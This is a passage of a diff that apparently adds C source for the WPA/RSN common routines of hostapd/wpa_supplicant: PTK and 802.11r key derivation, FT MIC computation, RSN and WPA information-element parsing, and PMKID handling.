MAC_P) || + * Min(INonce, PNonce) || Max(INonce, PNonce)) + */ +void wpa_pmk_to_ptk(const u8 *pmk, size_t pmk_len, const char *label, + const u8 *addr1, const u8 *addr2, + const u8 *nonce1, const u8 *nonce2, + u8 *ptk, size_t ptk_len, int use_sha256) +{ + u8 data[2 * ETH_ALEN + 2 * WPA_NONCE_LEN]; + + if (os_memcmp(addr1, addr2, ETH_ALEN) < 0) { + os_memcpy(data, addr1, ETH_ALEN); + os_memcpy(data + ETH_ALEN, addr2, ETH_ALEN); + } else { + os_memcpy(data, addr2, ETH_ALEN); + os_memcpy(data + ETH_ALEN, addr1, ETH_ALEN); + } + + if (os_memcmp(nonce1, nonce2, WPA_NONCE_LEN) < 0) { + os_memcpy(data + 2 * ETH_ALEN, nonce1, WPA_NONCE_LEN); + os_memcpy(data + 2 * ETH_ALEN + WPA_NONCE_LEN, nonce2, + WPA_NONCE_LEN); + } else { + os_memcpy(data + 2 * ETH_ALEN, nonce2, WPA_NONCE_LEN); + os_memcpy(data + 2 * ETH_ALEN + WPA_NONCE_LEN, nonce1, + WPA_NONCE_LEN); + } + +#ifdef CONFIG_IEEE80211W + if (use_sha256) + sha256_prf(pmk, pmk_len, label, data, sizeof(data), + ptk, ptk_len); + else +#endif /* CONFIG_IEEE80211W */ + sha1_prf(pmk, pmk_len, label, data, sizeof(data), ptk, + ptk_len); + + wpa_printf(MSG_DEBUG, "WPA: PTK derivation - A1=" MACSTR " A2=" MACSTR, + MAC2STR(addr1), MAC2STR(addr2)); + wpa_hexdump(MSG_DEBUG, "WPA: Nonce1", nonce1, WPA_NONCE_LEN); + wpa_hexdump(MSG_DEBUG, "WPA: Nonce2", nonce2, WPA_NONCE_LEN); + wpa_hexdump_key(MSG_DEBUG, "WPA: PMK", pmk, pmk_len); + wpa_hexdump_key(MSG_DEBUG, "WPA: PTK", ptk, ptk_len); +} + + +#ifdef CONFIG_IEEE80211R +int wpa_ft_mic(const u8 *kck, const u8 *sta_addr, const u8 *ap_addr, + u8 transaction_seqnum, const u8 *mdie, size_t mdie_len, + const u8 *ftie, size_t ftie_len, + const u8 *rsnie, size_t rsnie_len, + const u8 *ric, size_t ric_len, u8 *mic) +{ + u8 *buf, *pos; + size_t buf_len; + + buf_len = 2 * ETH_ALEN + 1 + mdie_len + ftie_len + rsnie_len + ric_len; + buf = os_malloc(buf_len); + if (buf == NULL) + return -1; + + pos = buf; + os_memcpy(pos, sta_addr, ETH_ALEN); + pos += ETH_ALEN; + os_memcpy(pos, ap_addr, ETH_ALEN); + pos += ETH_ALEN; + *pos++ = transaction_seqnum; + if (rsnie) { + os_memcpy(pos, rsnie, rsnie_len); + pos += rsnie_len; + } + if (mdie) { + os_memcpy(pos, mdie, mdie_len); + pos += mdie_len; + } + if (ftie) { + struct rsn_ftie *_ftie; + os_memcpy(pos, ftie, ftie_len); + if (ftie_len < 2 + sizeof(*_ftie)) { + os_free(buf); + return -1; + } + _ftie = (struct rsn_ftie *) (pos + 2); + os_memset(_ftie->mic, 0, sizeof(_ftie->mic)); + pos += ftie_len; + } + if (ric) { + os_memcpy(pos, ric, ric_len); + pos += ric_len; + } + + wpa_hexdump(MSG_MSGDUMP, "FT: MIC data", buf, pos - buf); + if (omac1_aes_128(kck, buf, pos - buf, mic)) { + os_free(buf); + return -1; + } + + os_free(buf); + + return 0; +} + + +static int wpa_ft_parse_ftie(const u8 *ie, size_t ie_len, + struct wpa_ft_ies *parse) +{ + const u8 *end, *pos; + + parse->ftie = ie; + parse->ftie_len = ie_len; + + pos = ie + sizeof(struct rsn_ftie); + end = ie + ie_len; + + while (pos + 2 <= end && pos + 2 + pos[1] <= end) { + switch (pos[0]) { + case FTIE_SUBELEM_R1KH_ID: + if (pos[1] != FT_R1KH_ID_LEN) { + wpa_printf(MSG_DEBUG, "FT: Invalid R1KH-ID " + "length in FTIE: %d", pos[1]); + return -1; + } + parse->r1kh_id = pos + 2; + break; + case FTIE_SUBELEM_GTK: + parse->gtk = pos + 2; + parse->gtk_len = pos[1]; + break; + case FTIE_SUBELEM_R0KH_ID: + if (pos[1] < 1 || pos[1] > FT_R0KH_ID_MAX_LEN) { + wpa_printf(MSG_DEBUG, "FT: Invalid R0KH-ID " + "length in FTIE: %d", pos[1]); + return -1; + } + parse->r0kh_id = pos + 2; + parse->r0kh_id_len = pos[1]; + break; +#ifdef CONFIG_IEEE80211W + case FTIE_SUBELEM_IGTK: + parse->igtk = pos + 2; + parse->igtk_len = pos[1]; + break; +#endif /* CONFIG_IEEE80211W */ + } + + pos += 2 + pos[1]; + } + + return 0; +} + + +int wpa_ft_parse_ies(const u8 *ies, size_t ies_len, + struct wpa_ft_ies *parse) +{ + const u8 *end, *pos; + struct wpa_ie_data data; + int ret; + const struct rsn_ftie *ftie; + int prot_ie_count = 0; + + os_memset(parse, 0, sizeof(*parse)); + if (ies == NULL) + return 0; + + pos = ies; + end = ies + ies_len; + while (pos + 2 <= end && pos + 2 + pos[1] <= end) { + switch (pos[0]) { + case WLAN_EID_RSN: + parse->rsn = pos + 2; + parse->rsn_len = pos[1]; + ret = wpa_parse_wpa_ie_rsn(parse->rsn - 2, + parse->rsn_len + 2, + &data); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "FT: Failed to parse " + "RSN IE: %d", ret); + return -1; + } + if (data.num_pmkid == 1 && data.pmkid) + parse->rsn_pmkid = data.pmkid; + break; + case WLAN_EID_MOBILITY_DOMAIN: + parse->mdie = pos + 2; + parse->mdie_len = pos[1]; + break; + case WLAN_EID_FAST_BSS_TRANSITION: + if (pos[1] < sizeof(*ftie)) + return -1; + ftie = (const struct rsn_ftie *) (pos + 2); + prot_ie_count = ftie->mic_control[1]; + if (wpa_ft_parse_ftie(pos + 2, pos[1], parse) < 0) + return -1; + break; + case WLAN_EID_TIMEOUT_INTERVAL: + parse->tie = pos + 2; + parse->tie_len = pos[1]; + break; + case WLAN_EID_RIC_DATA: + if (parse->ric == NULL) + parse->ric = pos; + break; + } + + pos += 2 + pos[1]; + } + + if (prot_ie_count == 0) + return 0; /* no MIC */ + + /* + * Check that the protected IE count matches with IEs included in the + * frame. + */ + if (parse->rsn) + prot_ie_count--; + if (parse->mdie) + prot_ie_count--; + if (parse->ftie) + prot_ie_count--; + if (prot_ie_count < 0) { + wpa_printf(MSG_DEBUG, "FT: Some required IEs not included in " + "the protected IE count"); + return -1; + } + + if (prot_ie_count == 0 && parse->ric) { + wpa_printf(MSG_DEBUG, "FT: RIC IE(s) in the frame, but not " + "included in protected IE count"); + return -1; + } + + /* Determine the end of the RIC IE(s) */ + pos = parse->ric; + while (pos && pos + 2 <= end && pos + 2 + pos[1] <= end && + prot_ie_count) { + prot_ie_count--; + pos += 2 + pos[1]; + } + parse->ric_len = pos - parse->ric; + if (prot_ie_count) { + wpa_printf(MSG_DEBUG, "FT: %d protected IEs missing from " + "frame", (int) prot_ie_count); + return -1; + } + + return 0; +} +#endif /* CONFIG_IEEE80211R */ + + +static int rsn_selector_to_bitfield(const u8 *s) +{ + if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_NONE) + return WPA_CIPHER_NONE; + if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_WEP40) + return WPA_CIPHER_WEP40; + if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_TKIP) + return WPA_CIPHER_TKIP; + if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_CCMP) + return WPA_CIPHER_CCMP; + if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_WEP104) + return WPA_CIPHER_WEP104; +#ifdef CONFIG_IEEE80211W + if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_AES_128_CMAC) + return WPA_CIPHER_AES_128_CMAC; +#endif /* CONFIG_IEEE80211W */ + if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_GCMP) + return WPA_CIPHER_GCMP; + return 0; +} + + +static int rsn_key_mgmt_to_bitfield(const u8 *s) +{ + if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_UNSPEC_802_1X) + return WPA_KEY_MGMT_IEEE8021X; + if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_PSK_OVER_802_1X) + return WPA_KEY_MGMT_PSK; +#ifdef CONFIG_IEEE80211R + if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_FT_802_1X) + return WPA_KEY_MGMT_FT_IEEE8021X; + if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_FT_PSK) + return WPA_KEY_MGMT_FT_PSK; +#endif /* CONFIG_IEEE80211R */ +#ifdef CONFIG_IEEE80211W + if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_802_1X_SHA256) + return WPA_KEY_MGMT_IEEE8021X_SHA256; + if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_PSK_SHA256) + return WPA_KEY_MGMT_PSK_SHA256; +#endif /* CONFIG_IEEE80211W */ +#ifdef CONFIG_SAE + if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_SAE) + return WPA_KEY_MGMT_SAE; + if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_FT_SAE) + return WPA_KEY_MGMT_FT_SAE; +#endif /* CONFIG_SAE */ + return 0; +} + + +/** + * wpa_parse_wpa_ie_rsn - Parse RSN IE + * @rsn_ie: Buffer containing RSN IE + * @rsn_ie_len: RSN IE buffer length (including IE number and length octets) + * @data: Pointer to structure that will be filled in with parsed data + * Returns: 0 on success, <0 on failure + */ +int wpa_parse_wpa_ie_rsn(const u8 *rsn_ie, size_t rsn_ie_len, + struct wpa_ie_data *data) +{ + const struct rsn_ie_hdr *hdr; + const u8 *pos; + int left; + int i, count; + + os_memset(data, 0, sizeof(*data)); + data->proto = WPA_PROTO_RSN; + data->pairwise_cipher = WPA_CIPHER_CCMP; + data->group_cipher = WPA_CIPHER_CCMP; + data->key_mgmt = WPA_KEY_MGMT_IEEE8021X; + data->capabilities = 0; + data->pmkid = NULL; + data->num_pmkid = 0; +#ifdef CONFIG_IEEE80211W + data->mgmt_group_cipher = WPA_CIPHER_AES_128_CMAC; +#else /* CONFIG_IEEE80211W */ + data->mgmt_group_cipher = 0; +#endif /* CONFIG_IEEE80211W */ + + if (rsn_ie_len == 0) { + /* No RSN IE - fail silently */ + return -1; + } + + if (rsn_ie_len < sizeof(struct rsn_ie_hdr)) { + wpa_printf(MSG_DEBUG, "%s: ie len too short %lu", + __func__, (unsigned long) rsn_ie_len); + return -1; + } + + hdr = (const struct rsn_ie_hdr *) rsn_ie; + + if (hdr->elem_id != WLAN_EID_RSN || + hdr->len != rsn_ie_len - 2 || + WPA_GET_LE16(hdr->version) != RSN_VERSION) { + wpa_printf(MSG_DEBUG, "%s: malformed ie or unknown version", + __func__); + return -2; + } + + pos = (const u8 *) (hdr + 1); + left = rsn_ie_len - sizeof(*hdr); + + if (left >= RSN_SELECTOR_LEN) { + data->group_cipher = rsn_selector_to_bitfield(pos); +#ifdef CONFIG_IEEE80211W + if (data->group_cipher == WPA_CIPHER_AES_128_CMAC) { + wpa_printf(MSG_DEBUG, "%s: AES-128-CMAC used as group " + "cipher", __func__); + return -1; + } +#endif /* CONFIG_IEEE80211W */ + pos += RSN_SELECTOR_LEN; + left -= RSN_SELECTOR_LEN; + } else if (left > 0) { + wpa_printf(MSG_DEBUG, "%s: ie length mismatch, %u too much", + __func__, left); + return -3; + } + + if (left >= 2) { + data->pairwise_cipher = 0; + count = WPA_GET_LE16(pos); + pos += 2; + left -= 2; + if (count == 0 || left < count * RSN_SELECTOR_LEN) { + wpa_printf(MSG_DEBUG, "%s: ie count botch (pairwise), " + "count %u left %u", __func__, count, left); + return -4; + } + for (i = 0; i < count; i++) { + data->pairwise_cipher |= rsn_selector_to_bitfield(pos); + pos += RSN_SELECTOR_LEN; + left -= RSN_SELECTOR_LEN; + } +#ifdef CONFIG_IEEE80211W + if (data->pairwise_cipher & WPA_CIPHER_AES_128_CMAC) { + wpa_printf(MSG_DEBUG, "%s: AES-128-CMAC used as " + "pairwise cipher", __func__); + return -1; + } +#endif /* CONFIG_IEEE80211W */ + } else if (left == 1) { + wpa_printf(MSG_DEBUG, "%s: ie too short (for key mgmt)", + __func__); + return -5; + } + + if (left >= 2) { + data->key_mgmt = 0; + count = WPA_GET_LE16(pos); + pos += 2; + left -= 2; + if (count == 0 || left < count * RSN_SELECTOR_LEN) { + wpa_printf(MSG_DEBUG, "%s: ie count botch (key mgmt), " + "count %u left %u", __func__, count, left); + return -6; + } + for (i = 0; i < count; i++) { + data->key_mgmt |= rsn_key_mgmt_to_bitfield(pos); + pos += RSN_SELECTOR_LEN; + left -= RSN_SELECTOR_LEN; + } + } else if (left == 1) { + wpa_printf(MSG_DEBUG, "%s: ie too short (for capabilities)", + __func__); + return -7; + } + + if (left >= 2) { + data->capabilities = WPA_GET_LE16(pos); + pos += 2; + left -= 2; + } + + if (left >= 2) { + data->num_pmkid = WPA_GET_LE16(pos); + pos += 2; + left -= 2; + if (left < (int) data->num_pmkid * PMKID_LEN) { + wpa_printf(MSG_DEBUG, "%s: PMKID underflow " + "(num_pmkid=%lu left=%d)", + __func__, (unsigned long) data->num_pmkid, + left); + data->num_pmkid = 0; + return -9; + } else { + data->pmkid = pos; + pos += data->num_pmkid * PMKID_LEN; + left -= data->num_pmkid * PMKID_LEN; + } + } + +#ifdef CONFIG_IEEE80211W + if (left >= 4) { + data->mgmt_group_cipher = rsn_selector_to_bitfield(pos); + if (data->mgmt_group_cipher != WPA_CIPHER_AES_128_CMAC) { + wpa_printf(MSG_DEBUG, "%s: Unsupported management " + "group cipher 0x%x", __func__, + data->mgmt_group_cipher); + return -10; + } + pos += RSN_SELECTOR_LEN; + left -= RSN_SELECTOR_LEN; + } +#endif /* CONFIG_IEEE80211W */ + + if (left > 0) { + wpa_printf(MSG_DEBUG, "%s: ie has %u trailing bytes - ignored", + __func__, left); + } + + return 0; +} + + +static int wpa_selector_to_bitfield(const u8 *s) +{ + if (RSN_SELECTOR_GET(s) == WPA_CIPHER_SUITE_NONE) + return WPA_CIPHER_NONE; + if (RSN_SELECTOR_GET(s) == WPA_CIPHER_SUITE_WEP40) + return WPA_CIPHER_WEP40; + if (RSN_SELECTOR_GET(s) == WPA_CIPHER_SUITE_TKIP) + return WPA_CIPHER_TKIP; + if (RSN_SELECTOR_GET(s) == WPA_CIPHER_SUITE_CCMP) + return WPA_CIPHER_CCMP; + if (RSN_SELECTOR_GET(s) == WPA_CIPHER_SUITE_WEP104) + return WPA_CIPHER_WEP104; + return 0; +} + + +static int wpa_key_mgmt_to_bitfield(const u8 *s) +{ + if (RSN_SELECTOR_GET(s) == WPA_AUTH_KEY_MGMT_UNSPEC_802_1X) + return WPA_KEY_MGMT_IEEE8021X; + if (RSN_SELECTOR_GET(s) == WPA_AUTH_KEY_MGMT_PSK_OVER_802_1X) + return WPA_KEY_MGMT_PSK; + if (RSN_SELECTOR_GET(s) == WPA_AUTH_KEY_MGMT_NONE) + return WPA_KEY_MGMT_WPA_NONE; + return 0; +} + + +int wpa_parse_wpa_ie_wpa(const u8 *wpa_ie, size_t wpa_ie_len, + struct wpa_ie_data *data) +{ + const struct wpa_ie_hdr *hdr; + const u8 *pos; + int left; + int i, count; + + os_memset(data, 0, sizeof(*data)); + data->proto = WPA_PROTO_WPA; + data->pairwise_cipher = WPA_CIPHER_TKIP; + data->group_cipher = WPA_CIPHER_TKIP; + data->key_mgmt = WPA_KEY_MGMT_IEEE8021X; + data->capabilities = 0; + data->pmkid = NULL; + data->num_pmkid = 0; + data->mgmt_group_cipher = 0; + + if (wpa_ie_len == 0) { + /* No WPA IE - fail silently */ + return -1; + } + + if (wpa_ie_len < sizeof(struct wpa_ie_hdr)) { + wpa_printf(MSG_DEBUG, "%s: ie len too short %lu", + __func__, (unsigned long) wpa_ie_len); + return -1; + } + + hdr = (const struct wpa_ie_hdr *) wpa_ie; + + if (hdr->elem_id != WLAN_EID_VENDOR_SPECIFIC || + hdr->len != wpa_ie_len - 2 || + RSN_SELECTOR_GET(hdr->oui) != WPA_OUI_TYPE || + WPA_GET_LE16(hdr->version) != WPA_VERSION) { + wpa_printf(MSG_DEBUG, "%s: malformed ie or unknown version", + __func__); + return -2; + } + + pos = (const u8 *) (hdr + 1); + left = wpa_ie_len - sizeof(*hdr); + + if (left >= WPA_SELECTOR_LEN) { + data->group_cipher = wpa_selector_to_bitfield(pos); + pos += WPA_SELECTOR_LEN; + left -= WPA_SELECTOR_LEN; + } else if (left > 0) { + wpa_printf(MSG_DEBUG, "%s: ie length mismatch, %u too much", + __func__, left); + return -3; + } + + if (left >= 2) { + data->pairwise_cipher = 0; + count = WPA_GET_LE16(pos); + pos += 2; + left -= 2; + if (count == 0 || left < count * WPA_SELECTOR_LEN) { + wpa_printf(MSG_DEBUG, "%s: ie count botch (pairwise), " + "count %u left %u", __func__, count, left); + return -4; + } + for (i = 0; i < count; i++) { + data->pairwise_cipher |= wpa_selector_to_bitfield(pos); + pos += WPA_SELECTOR_LEN; + left -= WPA_SELECTOR_LEN; + } + } else if (left == 1) { + wpa_printf(MSG_DEBUG, "%s: ie too short (for key mgmt)", + __func__); + return -5; + } + + if (left >= 2) { + data->key_mgmt = 0; + count = WPA_GET_LE16(pos); + pos += 2; + left -= 2; + if (count == 0 || left < count * WPA_SELECTOR_LEN) { + wpa_printf(MSG_DEBUG, "%s: ie count botch (key mgmt), " + "count %u left %u", __func__, count, left); + return -6; + } + for (i = 0; i < count; i++) { + data->key_mgmt |= wpa_key_mgmt_to_bitfield(pos); + pos += WPA_SELECTOR_LEN; + left -= WPA_SELECTOR_LEN; + } + } else if (left == 1) { + wpa_printf(MSG_DEBUG, "%s: ie too short (for capabilities)", + __func__); + return -7; + } + + if (left >= 2) { + data->capabilities = WPA_GET_LE16(pos); + pos += 2; + left -= 2; + } + + if (left > 0) { + wpa_printf(MSG_DEBUG, "%s: ie has %u trailing bytes - ignored", + __func__, left); + } + + return 0; +} + + +#ifdef CONFIG_IEEE80211R + +/** + * wpa_derive_pmk_r0 - Derive PMK-R0 and PMKR0Name + * + * IEEE Std 802.11r-2008 - 8.5.1.5.3 + */ +void wpa_derive_pmk_r0(const u8 *xxkey, size_t xxkey_len, + const u8 *ssid, size_t ssid_len, + const u8 *mdid, const u8 *r0kh_id, size_t r0kh_id_len, + const u8 *s0kh_id, u8 *pmk_r0, u8 *pmk_r0_name) +{ + u8 buf[1 + WPA_MAX_SSID_LEN + MOBILITY_DOMAIN_ID_LEN + 1 + + FT_R0KH_ID_MAX_LEN + ETH_ALEN]; + u8 *pos, r0_key_data[48], hash[32]; + const u8 *addr[2]; + size_t len[2]; + + /* + * R0-Key-Data = KDF-384(XXKey, "FT-R0", + * SSIDlength || SSID || MDID || R0KHlength || + * R0KH-ID || S0KH-ID) + * XXKey is either the second 256 bits of MSK or PSK. + * PMK-R0 = L(R0-Key-Data, 0, 256) + * PMK-R0Name-Salt = L(R0-Key-Data, 256, 128) + */ + if (ssid_len > WPA_MAX_SSID_LEN || r0kh_id_len > FT_R0KH_ID_MAX_LEN) + return; + pos = buf; + *pos++ = ssid_len; + os_memcpy(pos, ssid, ssid_len); + pos += ssid_len; + os_memcpy(pos, mdid, MOBILITY_DOMAIN_ID_LEN); + pos += MOBILITY_DOMAIN_ID_LEN; + *pos++ = r0kh_id_len; + os_memcpy(pos, r0kh_id, r0kh_id_len); + pos += r0kh_id_len; + os_memcpy(pos, s0kh_id, ETH_ALEN); + pos += ETH_ALEN; + + sha256_prf(xxkey, xxkey_len, "FT-R0", buf, pos - buf, + r0_key_data, sizeof(r0_key_data)); + os_memcpy(pmk_r0, r0_key_data, PMK_LEN); + + /* + * PMKR0Name = Truncate-128(SHA-256("FT-R0N" || PMK-R0Name-Salt) + */ + addr[0] = (const u8 *) "FT-R0N"; + len[0] = 6; + addr[1] = r0_key_data + PMK_LEN; + len[1] = 16; + + sha256_vector(2, addr, len, hash); + os_memcpy(pmk_r0_name, hash, WPA_PMK_NAME_LEN); +} + + +/** + * wpa_derive_pmk_r1_name - Derive PMKR1Name + * + * IEEE Std 802.11r-2008 - 8.5.1.5.4 + */ +void wpa_derive_pmk_r1_name(const u8 *pmk_r0_name, const u8 *r1kh_id, + const u8 *s1kh_id, u8 *pmk_r1_name) +{ + u8 hash[32]; + const u8 *addr[4]; + size_t len[4]; + + /* + * PMKR1Name = Truncate-128(SHA-256("FT-R1N" || PMKR0Name || + * R1KH-ID || S1KH-ID)) + */ + addr[0] = (const u8 *) "FT-R1N"; + len[0] = 6; + addr[1] = pmk_r0_name; + len[1] = WPA_PMK_NAME_LEN; + addr[2] = r1kh_id; + len[2] = FT_R1KH_ID_LEN; + addr[3] = s1kh_id; + len[3] = ETH_ALEN; + + sha256_vector(4, addr, len, hash); + os_memcpy(pmk_r1_name, hash, WPA_PMK_NAME_LEN); +} + + +/** + * wpa_derive_pmk_r1 - Derive PMK-R1 and PMKR1Name from PMK-R0 + * + * IEEE Std 802.11r-2008 - 8.5.1.5.4 + */ +void wpa_derive_pmk_r1(const u8 *pmk_r0, const u8 *pmk_r0_name, + const u8 *r1kh_id, const u8 *s1kh_id, + u8 *pmk_r1, u8 *pmk_r1_name) +{ + u8 buf[FT_R1KH_ID_LEN + ETH_ALEN]; + u8 *pos; + + /* PMK-R1 = KDF-256(PMK-R0, "FT-R1", R1KH-ID || S1KH-ID) */ + pos = buf; + os_memcpy(pos, r1kh_id, FT_R1KH_ID_LEN); + pos += FT_R1KH_ID_LEN; + os_memcpy(pos, s1kh_id, ETH_ALEN); + pos += ETH_ALEN; + + sha256_prf(pmk_r0, PMK_LEN, "FT-R1", buf, pos - buf, pmk_r1, PMK_LEN); + + wpa_derive_pmk_r1_name(pmk_r0_name, r1kh_id, s1kh_id, pmk_r1_name); +} + + +/** + * wpa_pmk_r1_to_ptk - Derive PTK and PTKName from PMK-R1 + * + * IEEE Std 802.11r-2008 - 8.5.1.5.5 + */ +void wpa_pmk_r1_to_ptk(const u8 *pmk_r1, const u8 *snonce, const u8 *anonce, + const u8 *sta_addr, const u8 *bssid, + const u8 *pmk_r1_name, + u8 *ptk, size_t ptk_len, u8 *ptk_name) +{ + u8 buf[2 * WPA_NONCE_LEN + 2 * ETH_ALEN]; + u8 *pos, hash[32]; + const u8 *addr[6]; + size_t len[6]; + + /* + * PTK = KDF-PTKLen(PMK-R1, "FT-PTK", SNonce || ANonce || + * BSSID || STA-ADDR) + */ + pos = buf; + os_memcpy(pos, snonce, WPA_NONCE_LEN); + pos += WPA_NONCE_LEN; + os_memcpy(pos, anonce, WPA_NONCE_LEN); + pos += WPA_NONCE_LEN; + os_memcpy(pos, bssid, ETH_ALEN); + pos += ETH_ALEN; + os_memcpy(pos, sta_addr, ETH_ALEN); + pos += ETH_ALEN; + + sha256_prf(pmk_r1, PMK_LEN, "FT-PTK", buf, pos - buf, ptk, ptk_len); + + /* + * PTKName = Truncate-128(SHA-256(PMKR1Name || "FT-PTKN" || SNonce || + * ANonce || BSSID || STA-ADDR)) + */ + addr[0] = pmk_r1_name; + len[0] = WPA_PMK_NAME_LEN; + addr[1] = (const u8 *) "FT-PTKN"; + len[1] = 7; + addr[2] = snonce; + len[2] = WPA_NONCE_LEN; + addr[3] = anonce; + len[3] = WPA_NONCE_LEN; + addr[4] = bssid; + len[4] = ETH_ALEN; + addr[5] = sta_addr; + len[5] = ETH_ALEN; + + sha256_vector(6, addr, len, hash); + os_memcpy(ptk_name, hash, WPA_PMK_NAME_LEN); +} + +#endif /* CONFIG_IEEE80211R */ + + +/** + * rsn_pmkid - Calculate PMK identifier + * @pmk: Pairwise master key + * @pmk_len: Length of pmk in bytes + * @aa: Authenticator address + * @spa: Supplicant address + * @pmkid: Buffer for PMKID + * @use_sha256: Whether to use SHA256-based KDF + * + * IEEE Std 802.11i-2004 - 8.5.1.2 Pairwise key hierarchy + * PMKID = HMAC-SHA1-128(PMK, "PMK Name" || AA || SPA) + */ +void rsn_pmkid(const u8 *pmk, size_t pmk_len, const u8 *aa, const u8 *spa, + u8 *pmkid, int use_sha256) +{ + char *title = "PMK Name"; + const u8 *addr[3]; + const size_t len[3] = { 8, ETH_ALEN, ETH_ALEN }; + unsigned char hash[SHA256_MAC_LEN]; + + addr[0] = (u8 *) title; + addr[1] = aa; + addr[2] = spa; + +#ifdef CONFIG_IEEE80211W + if (use_sha256) + hmac_sha256_vector(pmk, pmk_len, 3, addr, len, hash); + else +#endif /* CONFIG_IEEE80211W */ + hmac_sha1_vector(pmk, pmk_len, 3, addr, len, hash); + os_memcpy(pmkid, hash, PMKID_LEN); +} + + +/** + * wpa_cipher_txt - Convert cipher suite to a text string + * @cipher: Cipher suite (WPA_CIPHER_* enum) + * Returns: Pointer to a text string of the cipher suite name + */ +const char * wpa_cipher_txt(int cipher) +{ + switch (cipher) { + case WPA_CIPHER_NONE: + return "NONE"; + case WPA_CIPHER_WEP40: + return "WEP-40"; + case WPA_CIPHER_WEP104: + return "WEP-104"; + case WPA_CIPHER_TKIP: + return "TKIP"; + case WPA_CIPHER_CCMP: + return "CCMP"; + case WPA_CIPHER_CCMP | WPA_CIPHER_TKIP: + return "CCMP+TKIP"; + case WPA_CIPHER_GCMP: + return "GCMP"; + default: + return "UNKNOWN"; + } +} + + +/** + * wpa_key_mgmt_txt - Convert key management suite to a text string + * @key_mgmt: Key management suite (WPA_KEY_MGMT_* enum) + * @proto: WPA/WPA2 version (WPA_PROTO_*) + * Returns: Pointer to a text string of the key management suite name + */ +const char * wpa_key_mgmt_txt(int key_mgmt, int proto) +{ + switch (key_mgmt) { + case WPA_KEY_MGMT_IEEE8021X: + if (proto == (WPA_PROTO_RSN | WPA_PROTO_WPA)) + return "WPA2+WPA/IEEE 802.1X/EAP"; + return proto == WPA_PROTO_RSN ? + "WPA2/IEEE 802.1X/EAP" : "WPA/IEEE 802.1X/EAP"; + case WPA_KEY_MGMT_PSK: + if (proto == (WPA_PROTO_RSN | WPA_PROTO_WPA)) + return "WPA2-PSK+WPA-PSK"; + return proto == WPA_PROTO_RSN ? + "WPA2-PSK" : "WPA-PSK"; + case WPA_KEY_MGMT_NONE: + return "NONE"; + case WPA_KEY_MGMT_IEEE8021X_NO_WPA: + return "IEEE 802.1X (no WPA)"; +#ifdef CONFIG_IEEE80211R + case WPA_KEY_MGMT_FT_IEEE8021X: + return "FT-EAP"; + case WPA_KEY_MGMT_FT_PSK: + return "FT-PSK"; +#endif /* CONFIG_IEEE80211R */ +#ifdef CONFIG_IEEE80211W + case WPA_KEY_MGMT_IEEE8021X_SHA256: + return "WPA2-EAP-SHA256"; + case WPA_KEY_MGMT_PSK_SHA256: + return "WPA2-PSK-SHA256"; +#endif /* CONFIG_IEEE80211W */ + default: + return "UNKNOWN"; + } +} + + +int wpa_compare_rsn_ie(int ft_initial_assoc, + const u8 *ie1, size_t ie1len, + const u8 *ie2, size_t ie2len) +{ + if (ie1 == NULL || ie2 == NULL) + return -1; + + if (ie1len == ie2len && os_memcmp(ie1, ie2, ie1len) == 0) + return 0; /* identical IEs */ + +#ifdef CONFIG_IEEE80211R + if (ft_initial_assoc) { + struct wpa_ie_data ie1d, ie2d; + /* + * The PMKID-List in RSN IE is different between Beacon/Probe + * Response/(Re)Association Request frames and EAPOL-Key + * messages in FT initial mobility domain association. Allow + * for this, but verify that other parts of the RSN IEs are + * identical. + */ + if (wpa_parse_wpa_ie_rsn(ie1, ie1len, &ie1d) < 0 || + wpa_parse_wpa_ie_rsn(ie2, ie2len, &ie2d) < 0) + return -1; + if (ie1d.proto == ie2d.proto && + ie1d.pairwise_cipher == ie2d.pairwise_cipher && + ie1d.group_cipher == ie2d.group_cipher && + ie1d.key_mgmt == ie2d.key_mgmt && + ie1d.capabilities == ie2d.capabilities && + ie1d.mgmt_group_cipher == ie2d.mgmt_group_cipher) + return 0; + } +#endif /* CONFIG_IEEE80211R */ + + return -1; +} + + +#ifdef CONFIG_IEEE80211R +int wpa_insert_pmkid(u8 *ies, size_t ies_len, const u8 *pmkid) +{ + u8 *start, *end, *rpos, *rend; + int added = 0; + + start = ies; + end = ies + ies_len; + + while (start < end) { + if (*start == WLAN_EID_RSN) + break; + start += 2 + start[1]; + } + if (start >= end) { + wpa_printf(MSG_ERROR, "FT: Could not find RSN IE in " + "IEs data"); + return -1; + } + wpa_hexdump(MSG_DEBUG, "FT: RSN IE before modification", + start, 2 + start[1]); + + /* Find start of PMKID-Count */ + rpos = start + 2; + rend = rpos + start[1]; + + /* Skip Version and Group Data Cipher Suite */ + rpos += 2 + 4; + /* Skip Pairwise Cipher Suite Count and List */ + rpos += 2 + WPA_GET_LE16(rpos) * RSN_SELECTOR_LEN; + /* Skip AKM Suite Count and List */ + rpos += 2 + WPA_GET_LE16(rpos) * RSN_SELECTOR_LEN; + + if (rpos == rend) { + /* Add RSN Capabilities */ + os_memmove(rpos + 2, rpos, end - rpos); + *rpos++ = 0; + *rpos++ = 0; + } else { + /* Skip RSN Capabilities */ + rpos += 2; + if (rpos > rend) { + wpa_printf(MSG_ERROR, "FT: Could not parse RSN IE in " + "IEs data"); + return -1; + } + } + + if (rpos == rend) { + /* No PMKID-Count field included; add it */ + os_memmove(rpos + 2 + PMKID_LEN, rpos, end - rpos); + WPA_PUT_LE16(rpos, 1); + rpos += 2; + os_memcpy(rpos, pmkid, PMKID_LEN); + added += 2 + PMKID_LEN; + start[1] += 2 + PMKID_LEN; + } else { + /* PMKID-Count was included; use it */ + if (WPA_GET_LE16(rpos) != 0) { + wpa_printf(MSG_ERROR, "FT: Unexpected PMKID " + "in RSN IE in EAPOL-Key data"); + return 